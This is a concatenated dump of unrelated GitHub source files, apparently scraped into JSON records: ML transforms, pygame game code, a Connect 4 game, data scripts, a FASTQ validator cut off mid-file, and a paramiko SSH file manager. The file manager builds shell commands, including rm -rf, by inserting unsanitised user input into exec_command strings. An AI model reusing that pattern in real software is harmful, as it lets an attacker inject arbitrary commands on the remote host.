std=std)])\n \n self.clean_transforms = transforms.Compose([\n \n transforms.ToTensor(),\n transforms.ToPILImage(),\n# transforms.Resize((224, 224)),\n transforms.RandomCrop(size=224,\n padding=int(224*0.125),\n padding_mode='reflect'),\n# transforms.RandomResizedCrop(224,\n# scale=(1.00, 1.2),\n# ratio=(0.75, 1.3333333333333333)),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ])\n\n def __call__(self, x):\n x = self.clean_transforms(x)\n weak = self.weak(x)\n strong = self.strong(x)\n return weak, strong, x","repo_name":"ranarag/FewShotVQG","sub_path":"FSVQG/utils/fixmatch.py","file_name":"fixmatch.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38370150018","text":"import os\r\n\r\nimport pygame\r\n\r\nfrom game_objects.sprite import GenericSprite\r\n\r\nGAME_OVER = 3\r\nBASE_HIT_TIMER = 12\r\n\r\n\r\nclass GenericTile(GenericSprite):\r\n \"\"\"Generic class to represent one tile of the playing field.\"\"\"\r\n\r\n def __init__(self, x, y, img_x, img_y, image_name: str = None):\r\n super().__init__()\r\n\r\n self.x = x\r\n self.y = y\r\n\r\n if image_name is not None:\r\n curdir = os.path.dirname(__file__)\r\n image_path = os.path.join(\r\n curdir, \"..\", \"assets\", \"tiles\", image_name)\r\n self.image = pygame.image.load(image_path)\r\n\r\n self.rect = self.image.get_rect()\r\n self.rect.x = img_x\r\n self.rect.y = img_y\r\n\r\n def scale(self, side_length: int) -> None:\r\n \"\"\"Scales the tile.\r\n\r\n Args:\r\n side_length (int): Wanted side length of tile in pixels.\r\n \"\"\"\r\n self.image = pygame.transform.scale(\r\n self.image, (side_length, side_length))\r\n self.rect = self.image.get_rect()\r\n self.rect.x = self.x*side_length\r\n self.rect.y = self.y*side_length\r\n\r\n def get_pos(self) -> tuple:\r\n \"\"\"Returns the field position of the tile.\r\n\r\n Returns:\r\n pos (tuple): (x, y)\r\n \"\"\"\r\n return (self.x, self.y)\r\n\r\n def get_img_pos(self) -> tuple:\r\n \"\"\"Returns the image position of the tile.\r\n\r\n Returns:\r\n pos (tuple): (x, y)\r\n \"\"\"\r\n return (self.rect.x, self.rect.y)\r\n\r\n\r\nclass PathTile(GenericTile):\r\n \"\"\"A tile on which enemies move.\"\"\"\r\n\r\n def __init__(self, x, y, img_x, img_y):\r\n image_name = \"path.png\"\r\n super().__init__(x, y, img_x, img_y, image_name=image_name)\r\n\r\n\r\nclass BuildableTile(GenericTile):\r\n \"\"\"A tile on which towers can be built.\"\"\"\r\n\r\n def __init__(self, x, y, img_x, img_y):\r\n image_name = \"buildable.png\"\r\n super().__init__(x, y, img_x, img_y, image_name=image_name)\r\n\r\n\r\nclass BaseTile(GenericTile):\r\n \"\"\"A tile which is the base of the player.\"\"\"\r\n\r\n def __init__(self, x, y, img_x, img_y):\r\n super().__init__(x, y, img_x, img_y)\r\n\r\n self.status = {}\r\n self.status[\"health\"] = 100\r\n self.status[\"hit_timer\"] = 0\r\n\r\n images = {\r\n \"normal\": [\"tiles\", \"base.png\"],\r\n \"hit\": [\"tiles\", \"base_hit.png\"]\r\n }\r\n\r\n self.load_images(images)\r\n self.__update_image()\r\n\r\n self.rect = self.image.get_rect()\r\n self.rect.x = img_x\r\n self.rect.y = img_y\r\n\r\n def update(self, damage: int = None) -> None:\r\n \"\"\"Override of the pygame update function.\r\n Use without arguments once per frame to update cooldowns.\r\n\r\n Args:\r\n damage (int): The base takes this amount of damage. (Default value = None)\r\n \"\"\"\r\n if damage is not None:\r\n self.__take_damage(damage)\r\n else:\r\n self.__update_timers()\r\n\r\n self.__update_image()\r\n\r\n def draw(self, surface: pygame.Surface):\r\n \"\"\"Implementation of the pygame draw function.\r\n\r\n Args:\r\n surface (pygame.Surface): The surface on which to draw.\r\n \"\"\"\r\n surface.blit(self.image, self.rect)\r\n\r\n def __take_damage(self, damage: int) -> None:\r\n self.status[\"health\"] -= damage\r\n self.status[\"hit_timer\"] = BASE_HIT_TIMER\r\n\r\n if self.status[\"health\"] <= 0:\r\n pygame.event.post(pygame.event.Event(\r\n pygame.USEREVENT, custom_type=GAME_OVER))\r\n\r\n def __update_timers(self) -> None:\r\n if self.status[\"hit_timer\"] > 0:\r\n self.status[\"hit_timer\"] -= 1\r\n\r\n def __update_image(self) -> None:\r\n if self.status[\"hit_timer\"] > 0:\r\n self.image = self.images[\"hit\"]\r\n else:\r\n self.image = self.images[\"normal\"]\r\n","repo_name":"TemeKoo/ot-harjoitustyo","sub_path":"src/game_objects/tiles.py","file_name":"tiles.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18847404994","text":"import paramiko\nfrom flask import session\nimport os\n\nclients = {}\nclient_directory = {}\n\ndef init_client(username, password):\n proxy = None\n client = paramiko.SSHClient()\n client.load_system_host_keys()\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n server = \"149.89.161.100\"\n\n client.connect(server, username=username, password=password, sock=proxy)\n\n\n clients[username] = client\n\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(\"pwd\")\n #print(ssh_stdout.readlines()[0][:-1])\n\n client_directory[username] = ssh_stdout.readlines()[0][:-1]\n\n\n\ndef list_files(username):\n\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command( f\"cd {client_directory[username]}; ls -p | grep -v /\")\n\n return ssh_stdout.readlines()\n\ndef list_folders(username):\n\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; ls -d */\")\n\n return ssh_stdout.readlines()\n\ndef cat_file(file, username):\n\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; cat {file}\")\n\n return ssh_stdout.readlines()\n\ndef cd(directory, username):\n print(directory)\n\n #when the path is an absolute path (starts with /), then cd to that path\n #otherwise, cd to the current directory and then cd to the path\n new_directory = \"\"\n if directory[0] == \"/\":\n new_directory = directory\n else:\n new_directory = client_directory[username] + \"/\" + directory\n\n print(new_directory)\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {new_directory}; pwd\")\n client_directory[username] = ssh_stdout.readlines()[0][:-1]\n print(client_directory[username])\n\ndef currentPath(username):\n return client_directory[username]\n\ndef rename_file(directory, old, new, username):\n\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(\"mv \" + directory + \"/\" + old + \" \" + directory + \"/\" + new)\n\n return ssh_stdout.readlines()\n\ndef delete_file(filename, username):\n\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; rm {filename}\")\n\n return ssh_stdout.readlines()\n\ndef rename_file(old, new, username):\n\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; mv {old} {new}\")\n\n return ssh_stdout.readlines()\n\ndef create_file(filename, username, content):\n # we use hex to avoid issues with special characters\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; echo '{content}' > temp && xxd -r -p temp > {filename}; rm temp\")\n\n return ssh_stdout.readlines()\n\ndef create_directory(foldername, username):\n\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; mkdir {foldername}\")\n\n return ssh_stdout.readlines()\n\ndef delete_directory(directoryname, username):\n\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; rm -rf {directoryname}\")\n\n return ssh_stdout.readlines()\n\ndef search(filename, username):\n #folders\n ssh_stdin, ssh_stdout_folders, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; find . -iname '*{filename}*' -type d 2>/dev/null\")\n #files\n ssh_stdin, ssh_stdout_files, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; find . -iname '*{filename}*' -type f 2>/dev/null\")\n return [ssh_stdout_folders.readlines(), ssh_stdout_files.readlines()]\n\ndef upload(filename, username, content):\n # print(filename)\n # ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; echo '{content}' > temp && xxd -r -p temp > '{filename}'; rm temp\")\n ftp_client= clients[username].open_sftp()\n localtemp = open(f\"./temp/{filename}\", \"wb\")\n localtemp.write(content)\n localtemp.close()\n\n ftp_client.put(f\"./temp/{filename}\", client_directory[username]+r\"/\"+filename)\n os.remove(f\"./temp/{filename}\")\n ftp_client.close()\n #return ssh_stdout.readlines()\n\ndef download(filename, username):\n ftp_client= clients[username].open_sftp()\n content = \"\"\n try:\n with ftp_client.open(client_directory[username]+r\"/\"+filename) as f:\n content = f.read()\n f.close()\n ftp_client.close()\n except PermissionError:\n ftp_client.close()\n return b\"Permission Denied\"\n return content\n\n\n\ndef get_hex(filename, username):\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; xxd -p {filename}\")\n\n return ssh_stdout.readlines()\n\ndef move_file_to_folder(filename, foldername, username):\n ssh_stdin, ssh_stdout, ssh_stderr = clients[username].exec_command(f\"cd {client_directory[username]}; mv {filename} {foldername}\")\n\n return ssh_stdout.readlines()\n\n","repo_name":"kev1n/jiangjiangwangwang","sub_path":"app/fileman.py","file_name":"fileman.py","file_ext":"py","file_size_in_byte":4987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"10135097555","text":"\"\"\"\n.. module:: Exp_BOSS\n\nExp_BOSS\n*************\n\n:Description: Exp_BOSS\n\n \n\n:Authors: bejar\n \n\n:Version: \n\n:Created on: 22/02/2017 11:20 \n\n\"\"\"\n\n__author__ = 'bejar'\n\nfrom iWalker.Data import User, Exercise, Exercises, Pacientes, Trajectory\nfrom iWalker.Util.Misc import show_list_signals\nfrom iWalker.Util import Boss, boss_distance, euclidean_distance, bin_hamming_distance, hamming_distance,\\\n cosine_similarity\nfrom sklearn.manifold import MDS, Isomap, TSNE, SpectralEmbedding\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\nif __name__ == '__main__':\n p = Pacientes()\n e = Exercises()\n p2 = Pacientes()\n e2 = Exercises()\n\n p.from_db(pilot='NOGALES')\n e.from_db(pilot='NOGALES')\n # p2.from_db(pilot='FSL')\n # e2.from_db(pilot='FSL')\n # e2.delete_patients(['FSL30'])\n #\n # e.merge(e2)\n\n e.delete_exercises([1425290750])\n # e.delete_exercises([1416241920, 1416241871, 1416409354, 1416391685, 1416933676, 1416918342, 1416391884, 1416391948])\n wlen = 128\n voclen = 3\n ncoefs = 5\n\n nseries = 0\n lcl = []\n\n print(len(e.edict))\n for ex in e.iterator():\n t = Trajectory(ex.get_coordinates())\n if t.straightness()[0] < 0.9:\n e.delete_exercises([ex.id])\n print(len(e.edict))\n\n\n\n for ex in e.iterator():\n forces = ex.get_forces()\n if forces.shape[0] > wlen:\n nseries += 1\n if 'FSL' in ex.uid:\n lcl.append('r')\n else:\n lcl.append('g')\n else:\n e.delete_exercises([ex.id])\n print(len(e.edict))\n\n mdist = np.zeros((nseries, nseries))\n print(nseries)\n\n for f in range(6):\n dseries = {}\n for ex in e.iterator():\n forces = ex.get_forces()\n if forces.shape[0] > wlen:\n dseries[str(ex.uid) + '#' + str(ex.id)] = forces[:, f]\n\n boss = Boss(dseries, 10, butfirst=True)\n boss.discretization_intervals(ncoefs, wlen, voclen)\n boss.discretize()\n lcodes = list(boss.codes.keys())\n\n for i in range(len(lcodes)):\n for j in range(i+1, len(lcodes)):\n # mdist[i,j] += bin_hamming_distance(boss.codes[lcodes[i]], boss.codes[lcodes[j]])\n # mdist[i,j] += euclidean_distance(boss.codes[lcodes[i]], boss.codes[lcodes[j]])\n mdist[i,j] += cosine_similarity(boss.codes[lcodes[i]], boss.codes[lcodes[j]])\n mdist[j, i] = mdist[i,j]\n # mdist[i,j] += (boss_distance(boss.codes[v1], boss.codes[v2]) + boss_distance(boss.codes[v2], boss.codes[v1]))/2\n\n # lej = []\n # for i, ex in enumerate(boss.codes.keys()):\n # lej.append((np.mean(mdist[i,:]), ex))\n #\n # for d, e in sorted(lej):\n # print(e,d)\n\n mdist /= np.max(mdist)\n\n # transf = MDS(n_components=100, dissimilarity='precomputed', n_jobs=-1, random_state=0)\n # fdata = transf.fit_transform(mdist)\n # print(transf.stress_)\n\n for nn in range(1, 2, 2):\n print(nn)\n fdata = mdist\n # imap = Isomap(n_components=3, n_neighbors=nn, n_jobs=-1)\n imap = SpectralEmbedding(n_components=2, affinity='precomputed', n_neighbors=nn)\n fdata = imap.fit_transform(fdata)\n\n fig = plt.figure(figsize=(10,10))\n # ax = fig.add_subplot(111, projection='3d')\n ax = fig.add_subplot(111)\n\n # plt.scatter(fdata[:, 0], fdata[:, 1], zs=fdata[:, 2], depthshade=False, s=100)\n plt.scatter(fdata[:, 0], fdata[:, 1], c=lcl)\n\n plt.show()\n","repo_name":"ogmaribel/masterthesis","sub_path":"Experiments/Exp_BOSS.py","file_name":"Exp_BOSS.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35022337419","text":"import csv\n\ndef main():\n with open('draft_1980_1993.csv', 'w') as f:\n writer = csv.writer(f)\n writer.writerow([\"Year\",\"Rnd\",\"Pick\",\"Tm\",\"Player\",\"Pos\",\"Age\",\"To\",\"St\",\"CarAV\",\"DrAV\",\"G\"])\n for year in range(1980, 1994):\n with open('draft_' + str(year) + '.csv', 'r') as g:\n reader = csv.reader(g)\n for line in reader:\n if (len(line[3].split(\"\\\\\")) > 1):\n line[3] = line[3].split(\"\\\\\")[0]\n line = [x.replace(' HOF', '') for x in line]\n writer.writerow([year] + line)\n\nif __name__ == '__main__':\n main()\n","repo_name":"kevinli96/NFL-Player-Valuation","sub_path":"data/draft_data_by_year/draft_loader.py","file_name":"draft_loader.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"43010281575","text":"n, m = map(int, input().split())\n\ns = []\n\ndef f():\n if len(s) == m:\n print(' '.join(map(str, s)))\n return\n\n for i in range(1, n + 1):\n if i in s: #이미 들어가있는 같은 수는 배제 \n continue\n s.append(i)\n f()\n s.pop()\n\nf()","repo_name":"ChoiBeomJun99/BaekJoonStudy","sub_path":"15649.py","file_name":"15649.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"39662200052","text":"# Connect 4 is a game where opponents take turns dropping red or black discs\r\n# into a 7 x 6 vertically suspended grid. The game ends either when one player\r\n# creates a line of four consecutive discs of their color (horizontally,\r\n# vertically, or diagonally), or when there are no more spots left in the grid.\r\n\r\n\r\nfrom enum import Enum\r\nfrom random import randint\r\n\r\n\r\nclass Disc(Enum):\r\n RED = 0\r\n BLACK = 1\r\n\r\n\r\nclass Connect4:\r\n def __init__(self):\r\n self.nrow = 7\r\n self.ncol = 6\r\n self.grid = [[None for i in range(self.ncol)]\r\n for j in range(self.nrow)]\r\n self.winner = None\r\n self.discs = (\"⦾\", \"◼\")\r\n\r\n def reset(self):\r\n self.grid = [[None for i in range(self.ncol)]\r\n for j in range(self.nrow)]\r\n self.winner = None\r\n\r\n def continue4(self, x, y):\r\n length = min(len(x), len(y))\r\n if length < 4:\r\n return False\r\n\r\n count = 0\r\n pre = self.grid[x[0]][y[0]]\r\n for i in range(1, min(len(x), len(y))):\r\n cur = self.grid[x[i]][y[i]]\r\n if cur and cur == pre:\r\n count = 2 if count == 0 else count + 1\r\n else:\r\n count = 0\r\n if count >= 4:\r\n self.winner = cur\r\n return True\r\n pre = cur\r\n return False\r\n\r\n def is_full(self):\r\n for i in range(self.nrow):\r\n for j in range(self.ncol):\r\n if self.grid[i][j] is None:\r\n return False\r\n return True\r\n\r\n def is_over(self):\r\n if self.is_full():\r\n return True\r\n\r\n horizontally = any([self.continue4(\r\n [x for i in range(self.ncol)], [j for j in range(self.ncol)])\r\n for x in range(self.nrow)])\r\n if horizontally:\r\n return True\r\n\r\n vertically = any([self.continue4(\r\n [i for i in range(self.nrow)], [y for j in range(self.nrow)])\r\n for y in range(self.ncol)])\r\n if vertically:\r\n return True\r\n\r\n diagonally = any([self.continue4(\r\n [i for i in range(self.nrow)], [j for j in range(start, self.ncol)]\r\n ) for start in range(self.ncol)] + [self.continue4(\r\n [i for i in range(start, self.nrow)], [j for j in range(self.ncol)]\r\n ) for start in range(self.nrow)] + [self.continue4(\r\n [i for i in range(self.nrow)], [j for j in range(start, -1, -1)]\r\n ) for start in range(self.ncol - 1, -1, -1)] + [self.continue4(\r\n [i for i in range(start, self.nrow)], [\r\n j for j in range(self.ncol - 1, -1, -1)]\r\n ) for start in range(self.nrow)]\r\n )\r\n if diagonally:\r\n return True\r\n\r\n return False\r\n\r\n def display(self):\r\n print(\"-\" * 13)\r\n for row in self.grid:\r\n print(\r\n \" \".join([\"{}\" for _ in range(6)]).format(\r\n *[\r\n self.discs[row[i].value] if row[i] is not None else \"◻\"\r\n for i in range(6)\r\n ]\r\n ),\r\n end=\" |\\n\",\r\n )\r\n print(\"-\" * 13)\r\n\r\n def put(self, i, j, disc=0):\r\n if 0 <= i < 7 and 0 <= j < 6:\r\n if self.grid[i][j] is None:\r\n if disc == 0 or disc == 1:\r\n self.grid[i][j] = Disc.RED if disc == 0 else Disc.BLACK\r\n return True\r\n return False\r\n\r\n\r\nif __name__ == \"__main__\":\r\n c4 = Connect4()\r\n step = 0\r\n while not c4.is_over():\r\n while not c4.put(randint(0, 6), randint(0, 5), step & 1):\r\n continue\r\n\r\n c4.display()\r\n step += 1\r\n\r\n if c4.winner:\r\n print('Winner is {}'.format(c4.winner))\r\n else:\r\n print('Draw.')\r\n","repo_name":"kemingy/daily-coding-problem","sub_path":"src/connect4.py","file_name":"connect4.py","file_ext":"py","file_size_in_byte":3852,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"14118694341","text":"import sys\nimport os\nimport time\nimport copy\nimport yaml\nsys.path.append(os.path.dirname(os.path.dirname(__file__)))\nfrom physical_env.network.NetworkIO import NetworkIO\nfrom physical_env.mc.MobileCharger import MobileCharger\n\ndef log(net, mcs):\n # If you want to print something, just put it here. Do not revise the core code.\n while True:\n print(net.env.now, net.listNodes[0].energy)\n yield net.env.timeout(1.0)\n\nnetIO = NetworkIO(\"physical_env/network/network_scenarios/hanoi1000n50.yaml\")\nenv, net = netIO.makeNetwork()\n\nwith open(\"physical_env/mc/mc_types/default.yaml\", 'r') as file:\n mc_argc = yaml.safe_load(file)\nmcs = [MobileCharger(copy.deepcopy(net.baseStation.location), mc_phy_spe=mc_argc) for _ in range(3)]\n\nfor id, mc in enumerate(mcs):\n mc.env = env\n mc.net = net\n mc.id = id\n mc.log = [net.baseStation.location[0], net.baseStation.location[1], 0]\nmc0_process = env.process(mcs[0].operate_step([0.7 * (net.frame[1] - net.frame[0]) + net.frame[0], 0.8 * (net.frame[3] - net.frame[2]) + net.frame[2], 75]))\nmc1_process = env.process(mcs[1].operate_step([0.7 * (net.frame[1] - net.frame[0]) + net.frame[0], 0.8 * (net.frame[3] - net.frame[2]) + net.frame[2], 50])) \nmc2_process = env.process(mcs[2].operate_step([0.35 * (net.frame[1] - net.frame[0]) + net.frame[0], 0.6 * (net.frame[3] - net.frame[2]) + net.frame[2], 100])) \nnet_process = env.process(net.operate())\n\ngeneral_process = mc0_process | mc1_process | mc2_process | net_process\n\nenv.process(log(net, mcs))\nenv.run(until = net_process)\n#env.run(until = general_process)","repo_name":"nguyenngocbaocmt02/multi_agent_rl_wrsn","sub_path":"runner/test_mc.py","file_name":"test_mc.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"18842568455","text":"import subprocess\nfrom itertools import chain\n\n\nhandlers = {}\n\nclass FormatHandler:\n\tdef __init_subclass__(cls):\n\t\tfor ext in cls.extensions:\n\t\t\thandlers[ext] = cls()\n\nclass Vorbis(FormatHandler):\n\textensions = ('flac','opus')\n\n\ttagnames = {\n\t\t# https://xiph.org/vorbis/doc/v-comment.html\n\t\t\"title\":\"TITLE\",\n\t\t\"artist\":\"ARTIST\",\n\t\t\"albumartist\":\"ALBUMARTIST\",\n\t\t\"album\":\"ALBUM\",\n\t\t\"genre\":\"GENRE\",\n\t\t\"date\":\"DATE\",\n\t\t\"tracknumber\":\"TRACKNUMBER\"\n\t}\n\n\tdef tag(self,file,tags,data):\n\n\t\tsubprocess.call([\"metaflac\"] + [f\"--remove-tag={key}\" for key in tags] + [file])\n\t\tsubprocess.call([\"metaflac\",file] + [f\"--set-tag={self.tagnames[key]}={value}\" for key,value in tags.items()])\n\t\tif data['remove_artwork']:\n\t\t\tsubprocess.call([\"metaflac\",\"--remove\",\"--block-type=PICTURE\",file])\n\n\nclass ID3(FormatHandler):\n\textensions = ('mp3',)\n\n\ttagnames = {\n\t\t# https://id3.org/id3v2.3.0#Text_information_frames\n\t\t\"title\":\"TIT2\",\n\t\t\"artist\":\"TPE1\",\n\t\t\"albumartist\":\"TPE2\", # not to specs, but commonly used,\n\t\t\"album\":\"TALB\",\n\t\t\"genre\":\"TCON\", # :/\n\t\t\"date\":\"TYER\",\n\t\t\"tracknumber\":\"TRCK\"\n\t}\n\n\tdef tag(self,file,tags,data):\n\t\tsubprocess.call([\"id3v2\"] + list(chain(*[[f\"--{self.tagnames[key]}\",str(value)] for key,value in tags.items()])) + [file])\n","repo_name":"krateng/mumema","sub_path":"mumema/formats.py","file_name":"formats.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70883262492","text":"import sys\nfrom optparse import make_option\nfrom snf_django.lib.api import Credentials\nfrom django.core.management.base import CommandError\nfrom snf_django.management.commands import SynnefoCommand\nfrom synnefo.management.common import get_resource\nfrom synnefo.api.util import (COMPUTE_API_TAG_NAMESPACES as tag_namespaces,\n make_tag)\nfrom synnefo.logic import servers\n\n\nclass Command(SynnefoCommand):\n args = \" \"\n help = \"Check whether a server tag exists\"\n\n def handle(self, *args, **options):\n if len(args) != 2:\n raise CommandError(\"Please provide a server ID and a tag\")\n\n credentials = Credentials(\"snf-manage\", is_admin=True)\n server_id = args[0]\n server = get_resource(\"server\", server_id)\n\n tag = args[1]\n header = ['tag', 'status', 'namespace']\n table = []\n\n for namespace in tag_namespaces:\n tag_db = make_tag(tag, namespace)\n db_tag = servers.check_tag_exists(server_id, credentials, tag_db)\n if db_tag:\n table.append([tag.encode('utf-8'), db_tag.status, namespace])\n\n if table:\n self.pprint_table(table, header, options[\"output_format\"])\n","repo_name":"grnet/synnefo","sub_path":"snf-cyclades-app/synnefo/logic/management/commands/server-tag-exists.py","file_name":"server-tag-exists.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"32"} +{"seq_id":"31449444358","text":"#! /home/users/cordier/.linuxbrew/bin/python3\n\n#\n# Note: This Script Has Only Been Validated on FastQ\n#\n\ndef chunks (iterator, size):\n \"\"\"\n Split File into Chunks for Processing - Not Yet Implemented\n \"\"\"\n reads = True\n while reads:\n reads = []\n while len(chunk) < size:\n try:\n reads = iterator.next()\n except StopIteration:\n reads = None\n if reads is None:\n break\n chunk.append(reads)\n if chunk:\n yield chunk\n\nif __name__ == \"__main__\":\n\n # Imports\n import sys, argparse\n # Library Import\n from Bio import SeqIO\n from Bio.SeqIO.QualityIO import PairedFastaQualIterator\n\n # Accepted Formats\n acceptedFormats = [\"fasta\", \"fastq\", \"qual\", \"fa\", \"fq\", \"sam\"]\n\n # \n # Parse Arguments\n # \n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", \"--input\", type = str, help = \"Input File\")\n parser.add_argument(\"-p\", \"--prefix\", type = str, help = \"Output Prefix for Warnings CSV\")\n parser.add_argument(\"-f\", \"--format\", type = str, help = \"Format of Input File (overrides automatic detection)\")\n parser.add_argument(\"--paired\", action = \"store_true\", help = \"Interleaved Paired-End Reads File\")\n parser.add_argument(\"--strict\", action = \"store_true\", help = \"Evaluate complete file - i.e. don't output first error & exit\")\n parser.add_argument(\"--allow_orphan_reads\", action = \"store_true\", help = \"Allow For Orphan Reads\")\n argsDict = vars(parser.parse_args())\n\n # Set Arguments\n inputfile = argsDict[\"input\"]\n format = argsDict[\"format\"]\n prefix = argsDict[\"prefix\"]\n paired = argsDict[\"paired\"]\n strict = argsDict[\"strict\"]\n orphans = argsDict[\"allow_orphan_reads\"]\n\n # Detect Format\n if format is None:\n format = (inputfile.split(\".\")[-1]).lower()\n\n # Get Prefix\n if prefix is None:\n prefix = inputfile.replace(\".\" + format, \"\").split(\"/\")[-1]\n\n # Assertions for Required Input\n assert (inputfile is not None), \"No input file provided!\"\n assert (format in acceptedFormats), \"Invalid format: %s!\" % format\n\n #\n # Validation\n #\n\n if not strict:\n warnings = {\n \"unpaired_reads\" : [],\n \"qual_seq_len_mismatch\" : [],\n \"id_mismatch\" : {\n \"missing_1\" : [],\n \"missing_2\" : []\n }\n }\n if paired:\n\n # Not Strict, Paired, No Orphans\n print(\"\\nValidating That Sequences are Correctly Interleaved and That Sequence & Quality Scores Are of The Same Length\")\n with open(inputfile, \"r\") as handle:\n records = SeqIO.parse(handle, format)\n resetReadframe = False\n count = 0\n for record in records:\n seqA = record\n seqB = next(records)\n count += 2\n # Are Reads Paired-End?\n if (seqA.id[-2:] != \"/1\") and (seqA.id[-2:] != \"/2\"):\n warnings[\"unpaired_reads\"].append(seqA.id)\n if (seqB.id[-2:] != \"/1\") and (seqB.id[-2:] != \"/2\"):\n warnings[\"unpaired_reads\"].append(seqB.id)\n # Are Sequence Lengths & Quality Lengths the Same?\n if (len(seqA.seq) != len(seqA.letter_annotations[\"phred_quality\"])):\n warnings[\"qual_seq_len_mismatch\"].append(seqA.id)\n if (len(seqB.seq) != len(seqB.letter_annotations[\"phred_quality\"])):\n warnings[\"qual_seq_len_mismatch\"].append(seqB.id)\n # Are Paired IDs The Same?\n if seqA.id[0:-2] != seqB.id[0:-2]:\n # Is Read /1 In Fact the Read /1? If Not, 1 is in Fact 2 & Missing it's /1 Pair\n if (seqA.id[-2:] != \"/1\"):\n warnings[\"id_mismatch\"][\"missing_1\"].append(seqA.id)\n # Is Read /2 In Fact the Read /2? If Not, 2 is in Fact next 1, & 1 is Missing it's /2 Pair\n if (seqB.id[-2:] != \"/2\"):\n warnings[\"id_mismatch\"][\"missing_2\"].append(seqA.id)\n\n # Write Warnings\n with open(\"validation_warnings.%s.tsv\" % prefix, \"w\") as warningfile:\n warningfile.write(\"id\\twarning\\n\")\n for seqID in warnings[\"unpaired_reads\"]:\n warningfile.write(\"%s\\tunpaired_reads\\n\" % seqID)\n for seqID in warnings[\"qual_seq_len_mismatch\"]:\n warningfile.write(\"%s\\tqual_seq_len_mismatch\\n\" % seqID)\n for seqID in warnings[\"id_mismatch\"][\"missing_1\"]:\n warningfile.write(\"%s\\tid_mismatch_missing_1\\n\" % seqID)\n for seqID in warnings[\"id_mismatch\"][\"missing_2\"]:\n warningfile.write(\"%s\\tid_mismatch_missing_2\\n\" % seqID)\n\n # Print Results\n print(\"\\nParsed %d Paired End Reads and Found:\" % count)\n print(\" %d Unpaired Read(s)\" % len(warnings[\"unpaired_reads\"]))\n print(\" %d Read(s) Are Missing Their /1 Mate\" % len(warnings[\"id_mismatch\"][\"missing_1\"]))\n print(\" %d Read(s) Are Missing Their /2 Mate\" % len(warnings[\"id_mismatch\"][\"missing_2\"]))\n print(\" %d Read(s) With a Sequence / Quality String Length Mismatch\" % len(warnings[\"qual_seq_len_mismatch\"]))\n print(\"\\nWarnings Written to: validation_warnings.%s.tsv\" % prefix)\n\n else:\n\n # Not Strict, Single\n print(\"\\nValidating That Single-End Sequence & Quality Scores Are of The Same Length\")\n with open(inputfile, \"r\") as handle:\n records = SeqIO.parse(handle, format)\n count = 0\n for record in records:\n # Are Sequence Lengths & Quality Lengths the Same?\n assert (len(record.seq) == len(record.letter_annotations[\"phred_quality\"])), \"Error: Sequence & Quality Lengths Do Not Match: (%s)\" % record.id\n count += 1\n\n # Write Warnings\n with open(\"validation_warnings.%s.tsv\" % prefix, \"w\") as warningfile:\n warningfile.write(\"id\\twarning\\n\")\n for seqID in warnings[\"qual_seq_len_mismatch\"]:\n warningfile.write(\"%s\\tqual_seq_len_mismatch\\n\" % seqID)\n \n # Print Results\n print(\"\\nParsed %d Single End Reads and Found:\" % count)\n print(\"\\t%d Read(s) With a Sequence / Quality String Length Mismatch\" % len(warnings[\"qual_seq_len_mismatch\"]))\n print(\"\\nWarnings Written to: validation_warnings.%s.tsv\" % prefix)\n\n else:\n \n # Strict, Paired, No Orphans\n if paired:\n\n print(\"\\nValidating That Sequences are Correctly Interleaved and That Sequence & Quality Scores Are of The Same Length\")\n if orphans:\n\n with open(inputfile, \"r\") as handle:\n records = SeqIO.parse(handle, format)\n for record in records:\n seqA = record\n seqB = next(records)\n # Are Reads Paired-End?\n assert (seqA.id[-2:] == \"/1\") or (seqA.id[-2:] == \"/2\"), \"Error: Sequence ID (%s) Does Not Indicate Paired Data\" % seqA.id\n assert (seqB.id[-2:] == \"/1\") or (seqB.id[-2:] == \"/2\"), \"Error: Sequence ID 